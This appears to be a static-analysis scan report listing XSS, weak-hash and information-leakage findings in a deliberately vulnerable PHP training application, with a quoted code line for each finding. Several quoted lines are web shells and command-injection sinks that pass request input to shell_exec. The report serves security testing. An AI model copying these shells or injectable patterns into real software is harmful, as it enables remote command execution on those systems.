MEDIUM: Manual HTML sanitization detected. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_manual_html_sanitization
To ignore this finding, run: bearer ignore add fbb2ffb405b8d3a2f9ffd719f3769095_4

File: webservices/soap/lib/nusoap.php:369

369 $val = str_replace('>', '>', $val);

MEDIUM: Unsanitized user input detected in echo. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_output_using_user_input
To ignore this finding, run: bearer ignore add ae326e054064460d2a2b5b8c4bc16d24_0

File: arbitrary-file-inclusion.php:59

59 Current Page:

MEDIUM: Unsanitized user input detected in echo. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_output_using_user_input
To ignore this finding, run: bearer ignore add 4e8e1cf9979e67bf193a55c074d7f45d_0

File: conference-room-lookup.php:169

169 echo $CustomErrorHandler->FormatError(e, "Input: " . $lRoomCommonNameText);

MEDIUM: Unsanitized user input detected in echo. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_output_using_user_input
To ignore this finding, run: bearer ignore add 8a93527689598440935a29e74c6077e5_0

File: content-security-policy.php:112

112 echo '

Results for '.$lMessageText.'
';

MEDIUM: Unsanitized user input detected in echo. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_output_using_user_input
To ignore this finding, run: bearer ignore add 8a93527689598440935a29e74c6077e5_1

File: content-security-policy.php:115

115 echo '

```
'.$lMessageText.'
```

';

MEDIUM: Unsanitized user input detected in echo. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_output_using_user_input
To ignore this finding, run: bearer ignore add 8a93527689598440935a29e74c6077e5_2

File: content-security-policy.php:118

118 echo '

```
'.shell_exec("echo -n " . $lMessage).'
```

';

MEDIUM: Unsanitized user input detected in echo. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_output_using_user_input
To ignore this finding, run: bearer ignore add 8a93527689598440935a29e74c6077e5_3

File: content-security-policy.php:123

123 echo $CustomErrorHandler->FormatError(e, "Input: " . $lMessage);

MEDIUM: Unsanitized user input detected in echo. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_output_using_user_input
To ignore this finding, run: bearer ignore add 9d15442e4d2e476ea44bc8ff6a1a905b_0

File: dns-lookup.php:150

150 echo '

Results for '.$lTargetHostText.'
';

MEDIUM: Unsanitized user input detected in echo. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_output_using_user_input
To ignore this finding, run: bearer ignore add 9d15442e4d2e476ea44bc8ff6a1a905b_1

File: dns-lookup.php:164

164 echo '

```
'.shell_exec("nslookup " . $lTargetHost).'
```

';

MEDIUM: Unsanitized user input detected in echo. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_output_using_user_input
To ignore this finding, run: bearer ignore add 9d15442e4d2e476ea44bc8ff6a1a905b_2

File: dns-lookup.php:172

172 echo $CustomErrorHandler->FormatError(e, "Input: " . $lTargetHost);

MEDIUM: Unsanitized user input detected in echo. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_output_using_user_input
To ignore this finding, run: bearer ignore add a1f29c368c472b542c4b52dc9952e2a1_0

File: echo.php:141

141 echo '

Results for '.$lMessageText.'
';

MEDIUM: Unsanitized user input detected in echo. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_output_using_user_input
To ignore this finding, run: bearer ignore add a1f29c368c472b542c4b52dc9952e2a1_1

File: echo.php:144

144 echo '

```
'.$lMessageText.'
```

';

MEDIUM: Unsanitized user input detected in echo. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_output_using_user_input
To ignore this finding, run: bearer ignore add a1f29c368c472b542c4b52dc9952e2a1_2

File: echo.php:147

147 echo '

```
'.shell_exec("echo " . $lMessage).'
```

';

MEDIUM: Unsanitized user input detected in echo. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_output_using_user_input
To ignore this finding, run: bearer ignore add a1f29c368c472b542c4b52dc9952e2a1_3

File: echo.php:152

152 echo $CustomErrorHandler->FormatError(e, "Input: " . $lMessageText);

MEDIUM: Unsanitized user input detected in echo. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_output_using_user_input
To ignore this finding, run: bearer ignore add d001aba2269e71725369a00fb1bbbedd_0

File: edit-account-profile.php:98

98 echo '

Profile updated for ' . $lUsernameText . '

';

MEDIUM: Unsanitized user input detected in echo. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_output_using_user_input
To ignore this finding, run: bearer ignore add 7528907638d47dcfe281fd5a4f6ede7e_0

File: includes/pop-up-help-context-generator.php:26

26 echo '

27 Hack with confidence.
28

29 Page ' . $lPageName . ' is vulnerable to at least the following:
';

MEDIUM: Unsanitized user input detected in echo. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_output_using_user_input
To ignore this finding, run: bearer ignore add 7528907638d47dcfe281fd5a4f6ede7e_1

File: includes/pop-up-help-context-generator.php:35

35 echo '

36 Page ' . $lPageName . ' does not have any help documentation.
';

MEDIUM: Unsanitized user input detected in echo. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_output_using_user_input
To ignore this finding, run: bearer ignore add 7528907638d47dcfe281fd5a4f6ede7e_2

File: includes/pop-up-help-context-generator.php:42

42 echo $CustomErrorHandler->FormatError(e, "Error selecting help text entries for page " . $lPageName);

MEDIUM: Unsanitized user input detected in echo. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_output_using_user_input
To ignore this finding, run: bearer ignore add 06985399e021cc24ce7a0428ec249990_0

File: labs/lab-files/command-injection-lab-files/simple-web-shell.php:1

1 '.shell_exec($_GET['cmd']).''; ?>

MEDIUM: Unsanitized user input detected in echo. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_output_using_user_input

To ignore this finding, run: bearer ignore add 7795c226a238e5802fdfccf6a8daf6f2_0

File: labs/lab-files/insecure-direct-object-references-lab-files/simple-web-shell.php:3

3 echo "shell_exec ".$_REQUEST["pCommand"]."\n\n";

MEDIUM: Unsanitized user input detected in echo. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_output_using_user_input
To ignore this finding, run: bearer ignore add 7795c226a238e5802fdfccf6a8daf6f2_1

File: labs/lab-files/insecure-direct-object-references-lab-files/simple-web-shell.php:4

4 echo shell_exec($_REQUEST["pCommand"]);

MEDIUM: Unsanitized user input detected in echo. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_output_using_user_input
To ignore this finding, run: bearer ignore add 0e48b862e82d70ab8823daa2dac38db9_0

File: labs/lab-files/remote-file-inclusion-lab-files/passthru-rfi.php:1

1

MEDIUM: Unsanitized user input detected in echo. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_output_using_user_input
To ignore this finding, run: bearer ignore add fac2130d86df493edae052548b2f7325_0

File: labs/lab-files/remote-file-inclusion-lab-files/simple-web-shell.php:3

3 echo "shell_exec ".$_REQUEST["pCommand"]."\n\n";

MEDIUM: Unsanitized user input detected in echo. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_output_using_user_input
To ignore this finding, run: bearer ignore add fac2130d86df493edae052548b2f7325_1

File: labs/lab-files/remote-file-inclusion-lab-files/simple-web-shell.php:4

4 echo shell_exec($_REQUEST["pCommand"]);

MEDIUM: Unsanitized user input detected in echo. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_output_using_user_input
To ignore this finding, run: bearer ignore add 115a42591dc78b5c0b47fe1f2e489fdc_0

File: password-generator.php:104

104 document.getElementById("idUsernameInput").innerHTML = "";

MEDIUM: Unsanitized user input detected in echo. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_output_using_user_input
To ignore this finding, run: bearer ignore add 8f8d37e4713a93726fbec4854b293a1c_0

File: pen-test-tool-lookup.php:150

150 echo "var gPenTestToolsJSONString = '" . $lPenTestToolsJSON . "'";

MEDIUM: Unsanitized user input detected in echo. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_output_using_user_input
To ignore this finding, run: bearer ignore add 46a88eb6b5c16960280708c181c3f7fe_0

File: redirectandlog.php:31

31 echo '';

MEDIUM: Unsanitized user input detected in echo. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_output_using_user_input
To ignore this finding, run: bearer ignore add a71598e515442ac7f066444f5a24bbad_0

File: register.php:91

91 echo '

Account created for ' . $lUsernameText.'.'. lRowsAffected.' rows inserted.

';

MEDIUM: Unsanitized user input detected in echo. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_output_using_user_input
To ignore this finding, run: bearer ignore add 87340731d113f73a4505d63f228f5c6a_0

File: repeater.php:202

202

MEDIUM: Unsanitized user input detected in echo. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_output_using_user_input
To ignore this finding, run: bearer ignore add 4a292b91d333af671c2b4392f44146a4_0

File: set-background-color.php:45

45 echo $CustomErrorHandler->FormatError(e, "Input: " . $lBackgroundColor);

MEDIUM: Unsanitized user input detected in echo. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_output_using_user_input
To ignore this finding, run: bearer ignore add d1bad6e6b0e4bbe29f632d6f9bd380e2_0

File: source-viewer.php:80

80

MEDIUM: Unsanitized user input detected in echo. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_output_using_user_input
To ignore this finding, run: bearer ignore add 50ea3d9259e9fd8802593cf7a95f9957_0

File: styling-frame.php:55

55 <iframe src=""

MEDIUM: Unsanitized user input detected in echo. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_output_using_user_input
To ignore this finding, run: bearer ignore add 5f69f4abf39e21a97975b2c425c55840_0

File: styling.php:68

68

MEDIUM: Unsanitized user input detected in echo. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_output_using_user_input
To ignore this finding, run: bearer ignore add 5f69f4abf39e21a97975b2c425c55840_1

File: styling.php:73

73

MEDIUM: Unsanitized user input detected in echo. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_output_using_user_input
To ignore this finding, run: bearer ignore add 664b52f175d3d93598e1cda90890dfdc_0

File: test-connectivity.php:98

98 echo '

Results for '.$lServerURLText.'
';

MEDIUM: Unsanitized user input detected in echo. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_output_using_user_input
To ignore this finding, run: bearer ignore add 664b52f175d3d93598e1cda90890dfdc_1

File: test-connectivity.php:99

99 echo '

```
  '.shell_exec("curl --silent " . $lServerURL).'
```

';

MEDIUM: Unsanitized user input detected in echo. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_output_using_user_input
To ignore this finding, run: bearer ignore add 664b52f175d3d93598e1cda90890dfdc_2

File: test-connectivity.php:102

102 echo $CustomErrorHandler->FormatError(e, "Input: " . $IServerURLText);

MEDIUM: Unsanitized user input detected in echo. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_output_using_user_input
To ignore this finding, run: bearer ignore add 615cf8ac3f7382ad2328821b1cddd151_0

File: text-file-viewer.php:218

218 echo 'File: '.$ITextFileDescription.'';

MEDIUM: Unsanitized user input detected in echo. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_output_using_user_input
To ignore this finding, run: bearer ignore add 615cf8ac3f7382ad2328821b1cddd151_1

File: text-file-viewer.php:220

220 echo stream_get_contents($handle);

MEDIUM: Unsanitized user input detected in echo. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_output_using_user_input
To ignore this finding, run: bearer ignore add 9d2fdf7742aaae653af41c00f355844c_0

File: user-info-xpath.php:207

207 echo '

208

209 Results for '
210 .$IHTMLUsername.
211 '
';

MEDIUM: Unsanitized user input detected in echo. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_output_using_user_input
To ignore this finding, run: bearer ignore add 9d2fdf7742aaae653af41c00f355844c_1

File: user-info-xpath.php:213

213 echo '
Executed query: ' . $IHTMLXPathQueryString . '

';

MEDIUM: Unsanitized user input detected in echo. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_output_using_user_input
To ignore this finding, run: bearer ignore add 9d2fdf7742aaae653af41c00f355844c_2

File: user-info-xpath.php:215

215 echo $IXMLQueryResults;

MEDIUM: Unsanitized user input detected in echo. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_output_using_user_input
To ignore this finding, run: bearer ignore add 5710b829e1050f6dce3c636e1d2a656a_0

File: user-info.php:187

187 echo '

188 Results for "'
189 .lUsername. 190 '".'.lRecordsFound.' records found.
191
';

MEDIUM: Unsanitized user input detected in echo. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_output_using_user_input
To ignore this finding, run: bearer ignore add 6edf631aa3b6bb854e1cde967d137931_0

File: user-poll.php:184

184 Your Initials:<input type="text" name="initials" value=""/>

MEDIUM: Unsanitized user input detected in echo. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_output_using_user_input
To ignore this finding, run: bearer ignore add 6edf631aa3b6bb854e1cde967d137931_1

File: user-poll.php:197

197

MEDIUM: Unsanitized user input detected in echo. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_output_using_user_input
To ignore this finding, run: bearer ignore add cb8ed1f33260855088479d0b6ed951c7_0

File: webservices/rest/ws-user-account.php:68

68 echo "Result: {Accounts: {".jsonEncodeQueryResults($lQueryResult)."}}";

MEDIUM: Unsanitized user input detected in echo. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_output_using_user_input
To ignore this finding, run: bearer ignore add cb8ed1f33260855088479d0b6ed951c7_1

File: webservices/rest/ws-user-account.php:70

70 echo "Result: {User '".$lAccountUsername."' does not exist}";

MEDIUM: Unsanitized user input detected in echo. [CWE-79]
https://docs.bearer.com/reference/rules/php_lang_raw_output_using_user_input
To ignore this finding, run: bearer ignore add 62e2c83151cc9bdebf7f4c818c7438d5_0

File: xml-validator.php:178

178 echo " " . $Encoder->encodeForXML($lXML) . "";

MEDIUM: Weak hashing library (MDx) detected [CWE-327]
https://docs.bearer.com/reference/rules/php_lang_weak_hash_md
To ignore this finding, run: bearer ignore add 008e4119d9a57b03ecade007b441707e_0

File: webservices/soap/lib/nusoap.php:2719

2719 $HA1 = md5($A1);

MEDIUM: Weak hashing library (MDx) detected [CWE-327]
https://docs.bearer.com/reference/rules/php_lang_weak_hash_md
To ignore this finding, run: bearer ignore add 008e4119d9a57b03ecade007b441707e_1

File: webservices/soap/lib/nusoap.php:2725

2725 $HA2 = md5($A2);

MEDIUM: Weak hashing library (MDx) detected [CWE-327]
https://docs.bearer.com/reference/rules/php_lang_weak_hash_md
To ignore this finding, run: bearer ignore add 008e4119d9a57b03ecade007b441707e_2

File: webservices/soap/lib/nusoap.php:2747

2747 $hashedDigest = md5($unhashedDigest);

MEDIUM: Weak hashing library (MDx) detected [CWE-327]
https://docs.bearer.com/reference/rules/php_lang_weak_hash_md
To ignore this finding, run: bearer ignore add 008e4119d9a57b03ecade007b441707e_3

File: webservices/soap/lib/nusoap.php:8469

8469 return $this->cache_dir.'/wsdlcache-'.md5($wsdl);

MEDIUM: Weak hashing library (MDx) detected [CWE-327]
https://docs.bearer.com/reference/rules/php_lang_weak_hash_md
To ignore this finding, run: bearer ignore add 008e4119d9a57b03ecade007b441707e_4

File: webservices/soap/lib/nusoap.php:8533

8533 if (isset($this->fplock[md5(filename)])) {

MEDIUM: Weak hashing library (MDx) detected [CWE-327]
https://docs.bearer.com/reference/rules/php_lang_weak_hash_md
To ignore this finding, run: bearer ignore add 008e4119d9a57b03ecade007b441707e_5

File: webservices/soap/lib/nusoap.php:8537

8537 $this->fplock[md5(filename)] = fopen($filename.".lock", "w");

MEDIUM: Weak hashing library (MDx) detected [CWE-327]
https://docs.bearer.com/reference/rules/php_lang_weak_hash_md
To ignore this finding, run: bearer ignore add 008e4119d9a57b03ecade007b441707e_6

File: webservices/soap/lib/nusoap.php:8539

8539 return flock($this->fplock[md5(filename)], LOCK_SH);

MEDIUM: Weak hashing library (MDx) detected [CWE-327]
https://docs.bearer.com/reference/rules/php_lang_weak_hash_md
To ignore this finding, run: bearer ignore add 008e4119d9a57b03ecade007b441707e_7

File: webservices/soap/lib/nusoap.php:8541

8541 return flock($this->fplock[md5(filename)], LOCK_EX);

MEDIUM: Weak hashing library (MDx) detected [CWE-327]
https://docs.bearer.com/reference/rules/php_lang_weak_hash_md
To ignore this finding, run: bearer ignore add 008e4119d9a57b03ecade007b441707e_8

File: webservices/soap/lib/nusoap.php:8581

8581 $ret = flock(this->fplock[md5($filename)], LOCK_UN);

MEDIUM: Weak hashing library (MDx) detected [CWE-327]
https://docs.bearer.com/reference/rules/php_lang_weak_hash_md
To ignore this finding, run: bearer ignore add 008e4119d9a57b03ecade007b441707e_9

File: webservices/soap/lib/nusoap.php:8582

8582 fclose($this->fplock[md5(filename)]);

MEDIUM: Weak hashing library (MDx) detected [CWE-327]
https://docs.bearer.com/reference/rules/php_lang_weak_hash_md
To ignore this finding, run: bearer ignore add 008e4119d9a57b03ecade007b441707e_10

File: webservices/soap/lib/nusoap.php:8583

8583 unset($this->fplock[md5(filename)]);

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add af4379f2b9ec36fe2632305b2e956dda_0

File: add-to-your-blog.php:146

146 echo $CustomErrorHandler->FormatError(e, "Error inserting blog for " . $lLoggedInUser);

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add af4379f2b9ec36fe2632305b2e956dda_1

File: add-to-your-blog.php:159

159 echo $CustomErrorHandler->FormatError(e, "Error inserting blog");

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add af4379f2b9ec36fe2632305b2e956dda_2

File: add-to-your-blog.php:260

260 echo $CustomErrorHandler->FormatError(e, "Error selecting blog entries for " . $lLoggedInUser . ": " . $lQuery);

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add af4379f2b9ec36fe2632305b2e956dda_3

File: add-to-your-blog.php:266

266 echo $CustomErrorHandler->FormatError(e, "Error writing selected blog entries to log");

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add af4379f2b9ec36fe2632305b2e956dda_4

File: add-to-your-blog.php:327

327 echo $CustomErrorHandler->FormatError(e, $lQuery);

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add 4129c8f64b6b39388d9c7c8d1d93bb53_0

File: ajax/jwt.php:65

65 echo $CustomErrorHandler->getExceptionMessage(e, "Error setting up configuration on page ajax/jwt.php");

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add 4129c8f64b6b39388d9c7c8d1d93bb53_1

File: ajax/jwt.php:76

76 echo ($CustomErrorHandler->getExceptionMessage(e, 'Error decoding/validating token on page ajax/jwt.php'));

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add a436fdeb8646f1b5fd04017ffd9afa88_0

File: ajax/lookup-pen-test-tool.php:102

102 echo $CustomErrorHandler->getExceptionMessage(e, "Error setting up configuration on page pentest-lookup-tool.php");

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add a436fdeb8646f1b5fd04017ffd9afa88_1

File: ajax/lookup-pen-test-tool.php:159

159 echo $CustomErrorHandler->getExceptionMessage(e, $query);

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add a5533e80468d143b76db0c14bb46630e_0

File: arbitrary-file-inclusion.php:44

44 echo $CustomErrorHandler->FormatError(e, "Error attempting to set up page configuration");

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add 2944521fb1f4ee105f8b7a1baa9a004d_0

File: authorization-required.php:5

5 echo $CustomErrorHandler->FormatError$(e, "Error writing to log");

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add b3993823b3c6ee68ae25e7487ab3e5bd_0

File: browser-info.php:64

64 echo $CustomErrorHandler->FormatError$(e, "Error collecting browser information");

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add 3269f4fc227f033ab1a1fa04e81c0daa_0

File: captured-data.php:53

53 echo $CustomErrorHandler->FormatError$(e, $lQueryString);

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add 3269f4fc227f033ab1a1fa04e81c0daa_1

File: captured-data.php:159

159 echo $CustomErrorHandler->FormatError$(e, "Error writing rows.");

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add 31ca59590b39c45f9efe22668af51f64_0

File: client-side-control-challenge.php:50

50 echo $CustomErrorHandler->FormatError$(e, "ClientFields.__construct()");

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add 31ca59590b39c45f9efe22668af51f64_1

File: client-side-control-challenge.php:68

68 echo $CustomErrorHandler->FormatError$(e, "ClientFields.addFieldHelper()");

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add 31ca59590b39c45f9efe22668af51f64_2

File: client-side-control-challenge.php:76

76 echo $CustomErrorHandler->FormatError(e, "ClientFields.addField()");

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add 31ca59590b39c45f9efe22668af51f64_3

File: client-side-control-challenge.php:124

124 echo $CustomErrorHandler->FormatError(e, "ClientFields.prettyPrintFields()");

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add 31ca59590b39c45f9efe22668af51f64_4

File: client-side-control-challenge.php:259

259 echo $CustomErrorHandler->FormatError(e, "Error creating client-side challenge");

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add 06a181b9230bdcdf933b28d30fed5386_0

File: conference-room-lookup.php:68

68 echo $CustomErrorHandler->FormatError(e, "Error setting up configuration on page conference-lookup.php");

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add 06a181b9230bdcdf933b28d30fed5386_1

File: conference-room-lookup.php:169

169 echo $CustomErrorHandler->FormatError(e, "Input: " . $lRoomCommonNameText);

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add 898a74c35333d3ef84b86b77586d7738_0

File: content-security-policy.php:56

56 echo $CustomErrorHandler->FormatError(e, "Error setting up configuration on page content-security-policy.php");

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add 898a74c35333d3ef84b86b77586d7738_1

File: content-security-policy.php:123

123 echo $CustomErrorHandler->FormatError(e, "Input: " . $lMessage);

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add c7f2ec2c0fa7baec3cf8fd33e61b181a_0

File: cors.php:27

27 echo $CustomErrorHandler->FormatError(e, "Error setting up configuration on page cors.php");

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add 36054acd79e9d0d36b36603b931a53d8_0

File: database-offline.php:164

164

Database Error message:

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add ecca823815788ace9a78ed6b6517dc00_0

File: dns-lookup.php:63

63 echo $CustomErrorHandler->FormatError(e, "Error setting up configuration on page html5-storage.php");

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add ecca823815788ace9a78ed6b6517dc00_1

File: dns-lookup.php:172

172 echo $CustomErrorHandler->FormatError(e, "Input: " . $lTargetHost);

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add c2d6d3951b476ad3f444fed3f483ad3c_0

File: documentation/installation.php:57

57 echo $CustomErrorHandler->FormatError(e, $lQueryString);

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add b0b63b5747f388c0565b3e5a98cafabc_0

File: documentation/usage-instructions.php:56

56 echo $CustomErrorHandler->FormatError(e, $lQueryString);

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add f4ba1638721e94df457cb32c4471bbfb_0

File: echo.php:56

56 echo $CustomErrorHandler->FormatError(e, "Error setting up configuration on page echo.php");

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add f4ba1638721e94df457cb32c4471bbfb_1

File: echo.php:152

152 echo $CustomErrorHandler->FormatError(e, "Input: " . $lMessageText);

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add e2f06bba8df0a84e4ab65fad13a2ec80_0

File: edit-account-profile.php:103

103 echo $CustomErrorHandler->FormatError(e, "Failed to add account");

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add e2f06bba8df0a84e4ab65fad13a2ec80_1

File: edit-account-profile.php:164

164 echo $CustomErrorHandler->FormatError(e, "Failed to get account");

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add 6f8c000c991ca7ca3819ab64adecf4c0_0

File: hints-page-wrapper.php:57

57 echo $CustomErrorHandler->FormatError(e, $lQueryString);

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add 5220817190a5de04c63451222646938c_0

File: html5-storage.php:25

25 echo $CustomErrorHandler->FormatError$(e, "Error setting up configuration on page html5-storage.php");

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add e234483bf47a5b27a02d4b4991acaaed_0

File: includes/capture-data.php:46

46 echo $CustomErrorHandler->FormatError$(e, $lQueryString);

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add e234483bf47a5b27a02d4b4991acaaed_1

File: includes/capture-data.php:66

66 echo $CustomErrorHandler->FormatError$(e, $lQueryString);

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add e234483bf47a5b27a02d4b4991acaaed_2

File: includes/capture-data.php:90

90 echo $CustomErrorHandler->FormatError$(e, $lQueryString);

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add e234483bf47a5b27a02d4b4991acaaed_3

File: includes/capture-data.php:97

97 echo $CustomErrorHandler->FormatError$(e, $lQueryString);

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add e234483bf47a5b27a02d4b4991acaaed_4

File: includes/capture-data.php:105

105 echo $CustomErrorHandler->FormatError$(e, $lQueryString);

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add e234483bf47a5b27a02d4b4991acaaed_5

File: includes/capture-data.php:133

133 echo $CustomErrorHandler->FormatError(e, "Error trying to save captured data from capture.php into file ");

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add e234483bf47a5b27a02d4b4991acaaed_6

File: includes/capture-data.php:145

145 echo $CustomErrorHandler->FormatError(e, $query);

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add 007aef64f554a72d85e849abf2ad242f_0

File: includes/hints/hints-menu-wrapper.inc:54

54 echo $CustomErrorHandler->FormatError(e, $lQueryString);

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add 293c466fd2f0db08deae806e1be082a6_0

File: includes/log-visit.php:19

19 echo $CustomErrorHandler->FormatError(e, $query);

WARNING: Possible information leakage detected. [CWE-209]
https://docs.bearer.com/reference/rules/php_lang_information_leakage
To ignore this finding, run: bearer ignore add 98105f847e3391e6c13eeba7db7d321c_0

File: includes/pop-up-help-context-generator.php:42

